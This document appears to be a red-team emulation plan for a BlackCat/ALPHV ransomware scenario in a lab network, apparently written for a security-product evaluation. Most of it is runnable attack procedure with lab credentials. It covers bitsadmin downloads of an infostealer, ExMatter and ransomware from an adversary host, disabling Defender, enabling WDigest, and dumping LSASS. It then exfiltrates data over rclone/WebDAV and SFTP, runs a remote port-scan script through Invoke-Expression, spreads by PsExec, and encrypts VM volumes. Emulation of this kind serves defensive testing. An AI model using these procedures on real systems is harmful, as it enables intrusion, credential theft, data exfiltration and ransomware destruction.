# ALPHV BlackCat Scenario Overview

# Step 0 - Operator Setup

# ☣️ Procedures

• Initiate an RDP session to the Kali attack host kraken (176.59.1.18)

• Open a terminal window and start the webdav server:

  sudo rclone serve webdav /srv/http --addr 176.59.1.18:8080

• Ensure the evalsC2server simple file server handler was started. If it hasn't been started in another terminal window, start the evalsC2server, ensuring the following handlers are enabled:

  • Simple file server

  cd alphv_blackcat/Resources/control_server
  sudo ./controlServer -c config/msr2_handler_config.yml

# Step 1 - Initial Compromise and Discovery

# 🎤 Voice Track

An Access Broker gains access to a contractor organization which provides the BlackCat affiliate with RDP access to a bastion host kimeramon (10.20.20.11) within the corporate subsidiary network used by the contractor. The BlackCat affiliate utilizes the trusted access between the compromised contractor organization to RDP to the bastion host kimeramon (10.20.20.11) within the corporate subsidiary network and download ADRecon.ps1.

The BlackCat affiliate uses ADRecon.ps1 to discover information about the Active Directory and corporate network. After analyzing the output of ADRecon, the BlackCat affiliate learns the following:

• NetBNMBackup server datamon (10.20.10.122)
• Linux KVM server leomon (10.20.10.16)
• Server administrators

# ☣️ Procedures

• Initiate an RDP session to the contractor workstation raremon (10.30.10.4)

• From the contractor workstation raremon (10.30.10.4), RDP to the bastion host kimeramon (10.20.20.11) using the contractor's credentials:

  Username	Password
  DIGIREVENGE\zorimoto	tzTVgs44isT4YxWU!

• Within the RDP session to the bastion host kimeramon (10.20.20.11), open Edge and browse to:

  https://github.com/sense-of-security/ADRecon/blob/11881a24e9c8b207f31b56846809ce1fb189bcc9/ADRecon.ps1

  • Click the download button to "Download raw file" to the Downloads folder

• Open a non-elevated PowerShell and execute ADRecon.ps1:

  cd Downloads

  Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass

  .\ADRecon.ps1 -Collect GroupMembers, Computers -OutputType CSV

• Using File Explorer, browse to the ADRecon output directory to confirm ADRecon executed successfully

  • Right click the Computers.csv, hover over Open with and click LibreOffice, then OK
  • Repeat the above for GroupMembers.csv

# 🔍 Reference Code & Reporting

1. https://www.hhs.gov/sites/default/files/blackcat-analyst-note.pdf
2. https://www.microsoft.com/en-us/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/
3. https://blog.talosintelligence.com/from-blackmatter-to-blackcat-analyzing/
4. https://www.blackberry.com/us/en/solutions/endpoint-security/ransomware-protection/blackcat#prevent
5. https://www.mandiant.com/resources/blog/alphv-ransomware-backup

ℹ️ NOTE: Not all techniques listed in this table directly map to evaluation substeps

Red Team Activity	Source Code Link	ATT&CK Technique	Relevant CTI Report
RDP to bastion host	-	T1078.002 Valid Accounts: Domain Accounts	Microsoft
RDP to bastion host	-	T1021.001 Remote Services: Remote Desktop Protocol	Microsoft
Download of ADRecon.ps1	https://github.com/sense-of-security/ADRecon/blob/master/ADRecon.ps1	T1105 Ingress Tool Transfer	HC3 Microsoft Cisco Mandiant
Open PowerShell	-	T1059.001 Command and Scripting Interpreter: PowerShell	HC3 Microsoft Cisco Mandiant
Execute ADRecon Get-ADRGroupMember	https://github.com/sense-of-security/ADRecon/blob/master/ADRecon.ps1#L7628	T1069.002 Permission Groups Discovery: Domain Groups	HC3 Microsoft Cisco Mandiant
Execute ADRecon Get-ADRComputer	https://github.com/sense-of-security/ADRecon/blob/master/ADRecon.ps1#L8948	T1018 Remote System Discovery	HC3 Microsoft Cisco Mandiant

# Step 2 - Credential Access

# 🎤 Voice Track

The BlackCat affiliate notices SQL Server Management Studio is installed on the bastion host and, on opening of the application, confirms the existence of a local database modeled after the NetBNMBackup database. Using BITSAdmin.exe, the BlackCat affiliate downloads InfoStealer using BITS and executes InfoStealer against the bastion host. The output contains plaintext credentials for the SQL admin account netbnmadmin.

Using the zorimoto credentials to authenticate, the BlackCat affiliate then then RDPs to datamon (10.20.10.122) to execute InfoStealer against the NetBNMBackup server.

The decrypted output contains the plaintext passwords for:

• The workstation local administrator account windesk
• Linux KVM server administrator account marakawa
• Domain admin account ykaida.da

Using the workstation local administrator account windesk, the BlackCat affiliate uses several methods to attempt to disable anti-virus and EDR solutions on the bastion host:

• Terminate processes and stop anti-virus services via Task Manager
• Open Windows Security and disable Real-time protection in "Virus & threat protection" settings
• Open PowerShell and use the Set-MpPreference module to disable Defender's Real-time protection

# ☣️ Procedures

• Within the RDP session, search for "SQL Server Management Studio".

  • In the "Connect to Server" prompt, select Sql Server Authentication for the Authentication type, if not already selected

  • Login as zorimoto (no DIGIREVENGE):

    | Username | Password |
    | -------- | -------- |
    | zorimoto | tzTVgs44isT4YxWU! |

  • On the lefthand side, in the Object Explorer expand the Databases folder.
  • Next expand NetBNMBackup > Tables and right-click dbo.Credentials, then select Select Top 1000 Rows.
    • Review the rows of data to ensure they are indicative of being an unencrypted,encoded-only NetBNMBackup duplicate.

• Open a non-elevated cmd.exe as zorimoto then execute BITSAdmin.exe to download InfoStealer from the adversary server

  bitsadmin /transfer defaultjob2 /download http://the-inator.com/digirevenge/netbnmp.exe %TEMP%\netbnmp.exe

• Execute InfoStealer against the bastion host and confirm output contains plaintext credentials for the SQL service account

  %TEMP%\netbnmp.exe base64 localhost zorimoto tzTVgs44isT4YxWU!

• Within the RDP session, search for "Remote Desktop Connection" and initiate an RDP connection to datamon (10.20.10.122) using zorimoto's credentials:

  Username	Password
  DIGIREVENGE\zorimoto	tzTVgs44isT4YxWU!

• Open a non-elevated cmd.exe as zorimoto then execute BITSAdmin.exe to download InfoStealer from the adversary server

  bitsadmin /transfer defaultjob /download http://the-inator.com/digirevenge/netbnmp.exe %TEMP%\netbnmp.exe

• Execute InfoStealer against the NetBNMBackup SQL server datamon (10.20.10.122) using zorimoto's credentials and confirm output contains plaintext credentials for:

  • The workstation local administrator account windesk
  • The Linux KVM server administrator account marakawa
  • The domain adminstrator account ykaida.da

  %TEMP%\netbnmp.exe dpapi localhost zorimoto tzTVgs44isT4YxWU!

• Close all Windows then disconnect from the RDP session to datamon (10.20.10.122). You should be returned to the RDP session to the bastion host.

• Within the RDP session, search for Task Manager, right-click and Run as Administrator, providing the workstation local administrator account credentials when prompted.

  Username	Password
  .\windesk	windesk

• Within Task Manager, navigate to the "Details" tab and, using the provided list of processes, end any matching process names

• Within Task Manager, navigate to the "Services" tab and, using the provided list of services, end any matching service names

• Within the RDP session, search for "Virus & threat protection". Select "Manage settings" then toggle Real-time protection to Off. Provide the workstation local administrator account credentials if prompted.

  Username	Password
  .\windesk	windesk

• Open an elevated PowerShell prompt, providing the workstation local administrator account credentials windesk when prompted, and disable Defender's Real-time protection via Set-MpPreference

  Username	Password
  .\windesk	windesk

  Set-MpPreference -DisableRealtimeMonitoring $true

# 🔍 Reference Code & Reporting

1. https://www.mandiant.com/resources/blog/alphv-ransomware-backup
2. https://www.varonis.com/blog/blackcat-ransomware
3. https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/noberus-blackcat-ransomware-ttps
4. https://blog.checkymander.com/red%20team/veeam/decrypt-veeam-passwords/

ℹ️ NOTE: Not all techniques listed in this table directly map to evaluation substeps

Red Team Activity	Source Code Link	ATT&CK Technique	Relevant CTI Report
Open cmd	-	T1059.003 Command and Scripting Interpreter: Windows Command Shell	HC3 Microsoft Cisco Mandiant
Create BITSAdmin download job from adversary server	-	T1197 BITS Jobs	Mandiant
Download InfoStealer via BITSAdmin.exe	-	T1105 Ingress Tool Transfer	Mandiant
InfoStealer pulls passwords from local database	cred_query	T1555 Credentials from Password Stores	Symantec
InfoStealer pulls passwords from NetBNMBackup	cred_query	T1555 Credentials from Password Stores	Symantec
Authenticate with workstation local administrator account credentials	-	T1078.003 Valid Accounts: Local Accounts	Trend Micro
Terminate processes and services related to AV	-	T1562.001 Impair Defenses: Disable or Modify Tools	HC3 Cisco Mandiant Symantec AT&T BlackBerry Logpoint
Disable Defender Real-time protection	-	T1562.001 Impair Defenses: Disable or Modify Tools	HC3 Cisco Mandiant Symantec AT&T BlackBerry Logpoint
Open PowerShell	-	T1059.001 Command and Scripting Interpreter: PowerShell	HC3 Cisco Mandiant Symantec AT&T BlackBerry Logpoint
Execute Set-MpPreference to disable Real-time protection	-	T1562.001 Impair Defenses: Disable or Modify Tools	HC3 Cisco Mandiant Symantec AT&T BlackBerry Logpoint

# Step 3 - Credential Access for Privilege Escalation

# 🎤 Voice Track

Using the plaintext credentials retrieved for the workstation local administrator account windesk, the BlackCat affiliate uses the RDP session to the bastion host kimeramon (10.20.20.11) to edit the registry and enable WDigest.

The BlackCat affiliate then dumps credentials via Task Manager and exfiltrates the dump file using rclone.

# ☣️ Procedures

• Within the RDP session, search for Registry Editor and right-click to Run As Administrator, providing the workstation local administrator account credentials when prompted

  Username	Password
  .\windesk	windesk

• Using Registry Editor, enable WDigest by browsing to HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest, right-click inside the window, New > DWORD (32-bit) Value, and type UseLogonCredential for the registry key value name. Ensure the type says REG_DWORD. Then right- click the registry key value > Modify... then change the "Value data:" field to 1.

• Within the RDP session, search for Task Manager and right-click to Run As Administrator (if not already open), providing the workstation local administrator account credentials when prompted

  Username	Password
  .\windesk	windesk

• Using Task Manager, go to Details, find lsass.exe then right-click and click "Create Dump File". In the pop up window, take note of the file location where the DMP file has been created (C:\Users\windesk\AppData\Local\Temp\lsass.DMP)

• Within the RDP session to the bastion host kimeramon (10.20.20.11), open Edge and browse to the following link to initiate the download of rclone:

  https://github.com/rclone/rclone/releases/download/v1.64.0/rclone-v1.64.0-windows-amd64.zip

• Go to the Downloads folder, right-click the rclone zip, click "Extract all..." from the menu, and in the window that opens, click the Extract button

• Search for cmd.exe and right-click to Run As Administrator, providing the workstation local administrator account credentials when prompted

  Username	Password
  .\windesk	windesk

• Change directory to the directory containing the rclone executable:

  cd C:\Users\zorimoto\Downloads\rclone-v1.64.0-windows-amd64\rclone-v1.64.0-windows-amd64

• Using the cmd.exe terminal, configure rclone for exfil via WebDAV

  rclone config

  • On entry to the rclone config console, type n for "New remote" then pressEnter
  • For the name of the remote, type webdav then press Enter
  • For the type of storage to configure, type 49 for "WebDAV" then pressEnter
  • For the URL of the host to connect to, type http://luffaplex-dillpickle-inator.com:8080then press Enter
  • For name of the WebDAV site, type 6 for "Other site/service or software"then press enter
  • For the user, press Enter to leave blank
  • For the password, press Enter to leave blank
  • For the token, press Enter to leave blank
  • For editing the advanced config, press Enter for "no"

  • Ensure the output configuration confirmation looks like the below

    - type: webdav
    - url: http://luffaplex-dillpickle-inator.com:8080
    - vendor: other

  • For keeping the "webdav" remote, type y for "Yes this is OK" and pressEnter
  • You should now see webdav in the table of Current remotes. Type q toexit the rclone config console.

• Using the cmd.exe terminal, exfiltrate the DMP file using rclone

  rclone copy "C:\Users\windesk\AppData\Local\Temp\lsass.DMP" webdav:

• ➡️ Switch to your Kali RDP session and check for the exfiltrated lsass.DMP file

  sudo ls -l /srv/http

# 🔍 Reference Code & Reporting

1. https://www.mandiant.com/resources/blog/alphv-ransomware-backup
2. https://www.microsoft.com/en-us/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/
3. https://duo.com/decipher/prolific-affiliate-threat-groups-linked-to-blackcat-ransomware

ℹ️ NOTE: Not all techniques listed in this table directly map to evaluation substeps

Red Team Activity	Source Code Link	ATT&CK Technique	Relevant CTI Report
Authenticate with workstation local administrator account credentials	-	T1078.003 Valid Accounts: Local Accounts	Trend Micro
Modify WDigest via Registry Editor	-	T1112 Modify Registry	Logpoint Microsoft
Dump LSASS via Task Manager	-	T1003.001 OS Credential Dumping: LSASS Memory	Logpoint Microsoft
Open cmd	-	T1059.003 Command and Scripting Interpreter: Windows Command Shell	HC3 Microsoft Cisco Mandiant
Download rclone from GitHub	-	T1105 Ingress Tool Transfer	Mandiant
Exfiltrate lsass.DMP over WebDAV (HTTP) using rclone	-	T1048.003 Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol	HC3 Logpoint Microsoft Cisco Mandiant Sophos Sophos

# Step 4 - Collection & Exfiltration

# 🎤 Voice Track

The BlackCat affiliate downloads ExMatter and a network scanning script to identify additional targets via PowerShell using the compromised Domain Admin account digirevenge\ykaida.da. Then, the BlackCat affiliate uses PsExec to execute ExMatter against the identified targets.

On execution, ExMatter will:

• Retrieve the drive names of all logical drives and collect all file path names
• Use LastWriteTime to create a queue of files for exfiltration (ExMatter will only exfiltrate files larger than 1,024 bytes)
• Upload files from the queue to a remote SFTP server using the parameters:
  • Host: hide-the-secret-password-inator.net
  • Port: 22
• Compresses target files into a zip archive
• Removes traces of itself by invoking PowerShell to overwrite the first 65,536 bytes then deleting itself

After remote execution of ExMatter has completed, the BlackCat affiliate executes ExMatter on the local workstation.

# ☣️ Procedures

• Open cmd.exe (or use an existing cmd.exe running as zorimoto) and execute BITSAdmin.exe to download ExMatter from the adversary server

  bitsadmin /transfer defaultjob4 /download http://the-inator.com/digirevenge/collector1.exe %TEMP%\collector1.exe

• Search for PowerShell and right-click to Run As Administrator, providing the Domain Admin credentials for ykaida.da when prompted

  Username	Password
  digirevenge\ykaida.da	FWy9aXyXbYrbxFcE!

• Using the elevated PowerShell, download and execute the network scanning script to identify additional targets

  Invoke-Expression(Invoke-WebRequest 'http://the-inator.com/digirevenge/Empire-port-scan.ps1' -UseBasicParsing)

  Invoke-Portscan -Hosts "10.20.20.0/24" -ErrorAction SilentlyContinue | where {$_.alive -eq $true}

  Invoke-Portscan -Hosts "10.20.10.0/24" -ErrorAction SilentlyContinue | where {$_.alive -eq $true}

• Using the elevated PowerShell, execute ExMatter via PsExec against the additional targets

  psexec -c -accepteula \\10.20.20.22,10.20.20.33,10.20.10.4,10.20.10.23,10.20.10.122,10.20.10.200 C:\Users\zorimoto\AppData\Local\Temp\collector1.exe

  • This may take some time, since ExMatter will run on each host one at a time.

• Using File Explorer, browse to C:\Users\zorimoto\AppData\Local\Temp and then right-click collector1.exe and Run As Administrator to run ExMatter locally, providing the Domain Admin credentials for ykaida.da when prompted:

  Username	Password
  digirevenge\ykaida.da	FWy9aXyXbYrbxFcE!

  • 💡 For this execution of ExMatter, ExMatter's log file will be located in C:\Users\zorimoto\AppData\Local\Temp\EMlog.txt

• Go to Verifying ExMatter Execution and follow the steps to check that ExMatter executed successfully on the both the remote target hosts and local target host.

# Verifying ExMatter Execution

• ➡️ Return to your Kali server and open up a terminal window
• Run the following command to check for uploaded zip archives:

  • If checking the original scenario steps:

    sudo ls -alR /srv/sftp/sftpupload/uploads/

• Ensure that for each of the following hostnames, there is a non-empty folder whose name begins with that hostname and has non-empty zip files:
  • alphamon
  • bakemon
  • blacknoirmon
  • butchermon
  • datamon
  • kimeramon
  • stormfrontmon
• If there are successful uploads for all hosts, proceed with the remainder of the scenario.
• ❗ If there are zip archives missing for a given host perform the remaining instructions to fetch ExMatter log files for the host(s).
  • ➡️ return to your RDP session to the jumpbox homelander (116.83.1.29)

  • From the jumpbox, RDP into the subsidiary B domain controller blacknoirmon (10.20.10.4) as evals_domain_admin:

    Username	Password
    digirevenge\evals_domain_admin	axi9eengei9inaeR@

  • Open up an administrator powershell terminal and execute the following:

    psh

    $paths=@("C$\Windows\System32\EMBatLog.txt", "C$\Windows\EMBatLog.txt", "C$\Windows\System32\EMlog.txt", "C$\Windows\EMlog.txt");
    $destDir="C:\Users\evals_domain_admin\xelogs";
    $zipPath="C:\Users\evals_domain_admin\xelogs.zip";
    mkdir "$destDir" -force | Out-Null;
    $hosts=@("alphamon", "bakemon", "blacknoirmon", "butchermon", "datamon", "kimeramon", "stormfrontmon");
    foreach ($targhost in $hosts) {
        $logPath = (
            $paths | %{
                $logPath = "\\$targhost\$_";
                if (Test-Path "$logPath") {
                    Write-Host "[DEBUG] Found log file $logpath on $targhost";
                    get-childitem -path "$logPath"
                }
            } | Sort-Object -Property LastWriteTime -Descending | Select-Object -First 1
        );
        if ($logPath) {
            Write-Host "[INFO] Fetching most recent log file $logPath on $targhost";
            if ("$logPath" -match "EMBatLog.txt") {
              cp "$logpath" "$destDir\dec_$targhost.log" -Force;
            } else {
              cp "$logpath" "$destDir\enc_$targhost.log" -Force;
            }
        } else {
            Write-Host "[ERROR] Failed to find log files on $targhost";
        }
    }
    Compress-Archive -Path "$destDir" -DestinationPath "$zipPath" -Force;
    scp "$zipPath" op1@176.59.1.18:/tmp/xelogs.zip;
    Remove-Item -Recurse -Force "$destDir";
    Remove-Item -Force "$zipPath";

    • When prompted, enter the credentials to Kali for SCP
  • Sign out of your RDP session

  • ➡️ Switch back to your kali terminal and execute the following to unzip and decrypt the uploaded log files:

    cd
    dirname=exmatter_logs_$(date '+%Y-%m-%dT%H-%M-%S')
    mkdir $dirname
    cd $dirname
    mv /tmp/xelogs.zip ./
    unzip xelogs.zip
    cd xelogs
    for filename in enc_*.log; do
        basename=${filename#"enc_"}
        python3 alphv_blackcat/Resources/log_decryptor/aes_base64_log_decryptor.py -i $filename -o dec_$basename -k 0370dd5addcd980e8f4b424c92d8049e99c7c7c5d09eedfcc58f6abca9e72f99 --aes-256-cbc
    done

  • For each of the hosts that were missing zip uploads, check the corresponding decrypted log file to look for errors or signs of unsuccessful/incomplete execution:

    grep -i 'error\|fail' dec_*.log

    • For hosts that had failed uploads but no matches from the grep command, you may need to actually go through the log files to look for signs of failure.

# 🔍 Reference Code & Reporting

1. https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/noberus-blackcat-ransomware-ttps
2. https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/blackmatter-data-exfiltration
3. https://www.kroll.com/en/insights/publications/cyber/analyzing-exmatter-ransomware-data-exfiltration-tool
4. https://www.cyderes.com/blog/threat-advisory-exmatter-data-extortion/
5. https://www.netskope.com/blog/blackcat-ransomware-tactics-and-techniques-from-a-targeted-attack

ℹ️ NOTE: Not all techniques listed in this table directly map to evaluation substeps

Red Team Activity	Source Code Link	ATT&CK Technique	Relevant CTI Report
Open cmd	-	T1059.003 Command and Scripting Interpreter: Windows Command Shell	HC3 Microsoft Cisco Mandiant
Create BITSAdmin download job from adversary SMB share	-	T1197 BITS Jobs	Mandiant
Download ExMatter via BITSAdmin.exe	-	T1105 Ingress Tool Transfer	Mandiant
Open PowerShell	-	T1059.001 Command and Scripting Interpreter: PowerShell	HC3 Microsoft Cisco Mandiant
Authenticate with Domain Admin account credentials	-	T1078.002 Valid Accounts: Domain Accounts	Microsoft
Download Empire port scanner	-	T1105 Ingress Tool Transfer	Picus
Scan ports via Empire	-	T1046 Network Service Discovery	HC3 Microsoft Mandiant Sophos Sophos netskope
Execute ExMatter using PsExec	-	T1569.002 System Services: Service Execution	Kroll
ExMatter retrieves the drive names of all logical drives	GetDriveInfos	T1083 File and Directory Discovery	Symantec Kroll
ExMatter enumerates file paths	FindTargetFiles	T1083 File and Directory Discovery	Symantec Kroll
ExMatter compresses files in a zip archive	ZipFiles	T1560.002 Archive Collected Data: Archive via Library	Kroll
ExMatter exfiltrates files to SFTP server	UploadFile	T1048.002 Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Symantec Kroll
ExMatter overwrites itself	Destroy	T1485 Data Destruction	Symantec Symantec
ExMatter deletes itself	Destroy	T1070.004 Indicator Removal: File Deletion	Symantec Symantec

# Step 5 - Payload Deployment

# 🎤 Voice Track

The BlackCat affliate downloads BlackCat (Linux) to the bastion host kimeramon (10.20.20.11) and uses SCP to copy BlackCat (Linux) to the Linux KVM server leomon (10.20.10.16), providing the Linux KVM server administrator credentials marakawa retrieved from InfoStealer. Next, the BlackCat affiliate sends an SSH command to the Linux KVM server to execute BlackCat (Linux) on the Linux KVM server.

BlackCat (Linux) will:

• Discover system UUID, current username, and current hostname
• Verify that the target machine is a KVM server
• Enumerate and stop running virtual machines
• Enumerate and delete virtual machine snapshots
• Terminate a pre-defined set of processes and services that may interfere with encryption
• Enumerate and encrypt virtual machine volumes using AES

  • Encrypted files are appended with .skyfl2e at the end the filename. Ex. "[original filename].[extension].skyfl2e"

  • Place a ransom note in folder(s) containing the encrypted VM volumes

# ☣️ Procedures

⏩ Emulate the following legitimate user activity:

• ➡️ initiate an RDP session to the jumpbox homelander (116.83.1.29) (if not already open)

• Open up powershell and SSH to the KVM server, typing yes to continue connecting as the KVM admin:

  ssh marakawa@10.20.10.16

  Username	Password
  marakawa	cuL9LmnrdnWqbqcA@

• list all VMs regardless of running state

  sudo virsh list --all

• list current snapshots for each VM

  sudo virsh snapshot-list fedora2
  sudo virsh snapshot-list test1
  sudo virsh snapshot-list test2

• create additional snapshot for each VM

  sudo virsh snapshot-create-as fedora2 debugsnapshot --description "debug snapshot"
  sudo virsh snapshot-create-as test1 debugsnapshot --description "debug snapshot"
  sudo virsh snapshot-create-as test2 debugsnapshot --description "debug snapshot"

• enumerate snapshots again

  sudo virsh snapshot-list fedora2
  sudo virsh snapshot-list test1
  sudo virsh snapshot-list test2

• start VMs

  sudo virsh start fedora2
  sudo virsh start test1
  sudo virsh start test2

• check VM state again

  sudo virsh list

• terminate SSH session

  exit

⏩ Resume red team activity:

• ➡️ switch back to your RDP session to the bastion host kimeramon (10.20.20.11)

• Open cmd.exe (or use an existing cmd.exe running as zorimoto) and execute BITSAdmin.exe to download BlackCat (Linux) to the bastion host kimeramon (10.20.20.11) from the adversary server

  bitsadmin /transfer defaultjob5 /download http://the-inator.com/digirevenge/digirevenge %TEMP%\digirevenge

• Open PowerShell (non-elevated) and SCP BlackCat to the Linux KVM server leomon (10.20.10.16), typing yes to continue connecting, providing the Linux KVM server administrator credentials marakawa when prompted

  scp $Env:temp\digirevenge marakawa@10.20.10.16:/tmp/digirevenge

  Password
  cuL9LmnrdnWqbqcA@

• Using PowerShell, execute BlackCat via SSH command to the Linux KVM server, providing the Linux KVM server administrator credentials when prompted

  ssh -t marakawa@10.20.10.16 "chmod +x /tmp/digirevenge && sudo /tmp/digirevenge --access-token 15742aa362a84ba3"

  Password
  cuL9LmnrdnWqbqcA@

# Verifying BlackCat (Linux) Logs

• ➡️ Return to your Kali server and open up a terminal window

• Execute the following to copy the BlackCat Linux logs from the KVM server as evals_domain_admin, typing yes to continue the connection:

  cd
  scp evals_domain_admin@10.20.10.16:/home/marakawa/bc.log ~/kvm.log

  Password
  axi9eengei9inaeR@

• Execute the following in the kali terminal to decrypt and inspect the logs:

  python3 alphv_blackcat/Resources/log_decryptor/aes_base64_log_decryptor.py -i ~/kvm.log -o ~/dec_kvm.log --aes-128-ctr -k 4a99bcca87318b844be7928cd98e23f9;
  cat ~/dec_kvm.log

  • Ensure that the logs show evidence of successful encryption activity and VM tampering.

# 🔍 Reference Code & Reporting

1. https://www.cybereason.com/blog/cybereason-vs.-blackcat-ransomware
2. https://www.netskope.com/blog/blackcat-ransomware-tactics-and-techniques-from-a-targeted-attack
3. https://www.mandiant.com/resources/blog/alphv-ransomware-backup
4. https://unit42.paloaltonetworks.com/blackcat-ransomware/#Technical-Details
5. https://assets.sophos.com/X24WTUEQ/at/q6r6n3x43mnrfchn5tfh3qmw/sophos-x-ops-active-adversary-multiple-attackers-wp.pdf
6. https://blog.talosintelligence.com/from-blackmatter-to-blackcat-analyzing/
7. https://cybersecurity.att.com/blogs/labs-research/blackcat-ransomware
8. https://news.sophos.com/en-us/2022/07/14/blackcat-ransomware-attacks-not-merely-a-byproduct-of-bad-luck/
9. https://www.varonis.com/blog/blackcat-ransomware
10. https://www.microsoft.com/en-us/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/'https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/noberus-blackcat-alphv-rust-ransomware
11. https://www.hhs.gov/sites/default/files/blackcat-analyst-note.pdf

ℹ️ NOTE: Not all techniques listed in this table directly map to evaluation substeps

Red Team Activity	Source Code Link	ATT&CK Technique	Relevant CTI Report
Open cmd	-	T1059.003 Command and Scripting Interpreter: Windows Command Shell	HC3 Microsoft Cisco Mandiant
Create BITSAdmin download job from adversary SMB share	-	T1197 BITS Jobs	Mandiant
Download BlackCat (Linux) via BITSAdmin.exe	-	T1105 Ingress Tool Transfer	Mandiant
Open PowerShell	-	T1059.001 Command and Scripting Interpreter: PowerShell	HC3 Microsoft Cisco Mandiant
Authenticate with Linux KVM server administrator account credentials	-	Valid Accounts: Domain Accounts	Microsoft
Transfer BlackCat (Linux) to Linux server	-	T1570 Lateral Tool Transfer	Varonis
Execute chmod to make BlackCat (Linux) executable	-	T1222 File and Directory Permissions Modification	Varonis
Execute BlackCat (Linux) on Linux server	-	T1021.004 Remote Services: SSH	Varonis
BlackCat (Linux) enumerates VMs	get_vms	T1057 Process Discovery	Varonis
BlackCat (Linux) stops VMs	shutdown_vm	T1489 Service Stop	Varonis
BlackCat (Linux) enumerates snapshots	get_vm_snapshots	T1083 File and Directory Discovery	Varonis
BlackCat (Linux) deletes snapshots	delete_snapshot	T1490 Inhibit System Recovery	Varonis
BlackCat (Linux) terminates processes	killall_by_name	T1489 Service Stop	Microsoft
BlackCat (Linux) terminates services	terminate_services	T1489 Service Stop	Varonis
BlackCat (Linux) enumerates VM volumes	get_volume_paths	T1083 File and Directory Discovery	Microsoft
BlackCat (Linux) encrypts VM volumes	encrypt_volumes	T1486 Data Encrypted for Impact	Microsoft
BlackCat (Linux) leaves ransom notes	drop_ransom_note	T1491.001 Defacement: Internal Defacement	Microsoft

# Step 6 - Encryption for Impact/Inhibit System Discovery

# 🎤 Voice Track

The BlackCat affliate downloads BlackCat (Windows) to the bastion host kimeramon (10.20.20.11) and provides the Domain Admin credentials ykaida.da to run the executable with administrative privileges.

BlackCat (Windows) will:

• Delete volume shadow copies via API calls
• Disable bootloader recovery using bcdedit /set {default} recoveryenabled No
• Run command to collect Universally Unique Identifiers (UUIDs) via WMIC.exe
• Get current username and current hostname
• Enable remote-to-local and remote-to-remote symbolic link evaluation via fsutil
• Empty the recycling bin
• Modify the registry to increase the maximum limit of concurrent network requests machines can make (for PsExec propagation and accessing remote files):
  • reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v MaxMpxCt /d 65535 /t REG_DWORD /f
• Propagate via a PsExec module embedded in BlackCat code and compressed with zlib
  • Performs NetBIOS scans on the local network to determine valid Windows hosts to propagate to
• Enumerate all local disk partitions and mount any hidden partitions for later encryption
• Terminate a pre-defined set of processes and services that may interfere with encryption
• Encrypt files using AES

  • BlackCat excludes some directories, filenames, and file extensions from encryption

  • Encrypted files are appended with .skyfl2e at the end the filename. Ex. "[original filename].[extension].skyfl2e"

  • BlackCat will drop ransom notes in directories containing encrypted files

• After encryption, BlackCat will:
  • Change wallpaper for logged-in users to image of ransom note
  • Unmount previously mounted partitions
  • Delete volume shadow copies again
  • List and clear Windows Event logs via API calls

# ☣️ Procedures

• Open cmd.exe (or use an existing cmd.exe running as zorimoto) and execute BITSAdmin.exe to download BlackCat (Windows) to the bastion host kimeramon (10.20.20.11) from the adversary server

  bitsadmin /transfer defaultjob6 /download http://the-inator.com/digirevenge/digirevenge.exe %TEMP%\digirevenge.exe

• Search for cmd.exe then right-click and Run As Administrator to open a new Command Prompt, providing the Domain Admin B credentials ykaida.da when prompted:

  Username	Password
  ykaida.da	FWy9aXyXbYrbxFcE!

• Using the new cmd.exe with ykaida.da privileges, execute BlackCat (Windows)

  C:\Users\zorimoto\AppData\Local\Temp\digirevenge.exe --access-token 15742aa362a84ba3

# Verifying BlackCat (Windows) Logs

• ➡️ Return to your RDP session to the Windows jumpbox homelander (116.83.1.29)

• ➡️ From the Windows jumpbox, initiate an RDP session to blacknoirmon (10.20.10.4) Subsidiary B Domain Controller as digirevenge\evals_domain_admin:

  Username	Password
  digirevenge\evals_domain_admin	axi9eengei9inaeR@

• Open an admin PowerShell prompt and execute the following to fetch the BlackCat logs from affected Subsidiary B hosts, zip them up into a single archive, and SCP the archive to the Kali server:

  $path="C$\Windows\System32\clog.xtlog";
  $destDir="C:\Users\evals_domain_admin\sblogs";
  $zipPath="C:\Users\evals_domain_admin\sblogs.zip";
  mkdir "$destDir" -force | Out-Null;
  $hosts=@("10.20.10.4", "10.20.10.200", "10.20.10.23", "10.20.10.122", "10.20.20.11", "10.20.20.22", "10.20.20.33");
  foreach ($targhost in $hosts) {
      $logPath = "\\$targhost\$path"
      if (Test-Path "$logPath") {
          Write-Host "[INFO]  Fetching log file on $targhost";
          cp "$logPath" "$destDir\$targhost.log" -Force;
      } else {
          Write-Host "[ERROR] Failed to find log file on $targhost";
      }
  }
  Compress-Archive -Path "$destDir" -DestinationPath "$zipPath";
  scp "$zipPath" op1@176.59.1.18:/tmp/sblogs.zip;
  Remove-Item -Recurse -Force "$destDir";
  Remove-Item -Force "$zipPath";

  • If prompted, type yes to continue the connection for SCP

• ➡️ Switch to your kali server and open up a terminal window

• Execute the following in the kali terminal to decrypt and inspect the logs:

  cd
  mv /tmp/sblogs.zip ./
  unzip sblogs.zip
  cd sblogs
  for filename in *.log; do
    python3 alphv_blackcat/Resources/log_decryptor/aes_base64_log_decryptor.py -i $filename -o dec_$filename --aes-128-ctr -k 4a99bcca87318b844be7928cd98e23f9;
  done

  • Look through each of the decrypted log files (starting with dec_*) and make sure all required activity was exected and that nothing was skipped or errored out.

# 🔍 Reference Code & Reporting

1. https://www.varonis.com/blog/blackcat-ransomware
2. https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Ransom:Win32/Blackcat&threatId=-2147158032

ℹ️ NOTE: Not all techniques listed in this table directly map to evaluation substeps

Red Team Activity	Source Code Link	ATT&CK Technique	Relevant CTI Report
Open cmd	-	T1059.003 Command and Scripting Interpreter: Windows Command Shell	HC3 Microsoft Cisco Mandiant
Create BITSAdmin download job from adversary SMB share	-	T1197 BITS Jobs	Mandiant
Download BlackCat (Windows) via BITSAdmin.exe	-	T1105 Ingress Tool Transfer	Mandiant
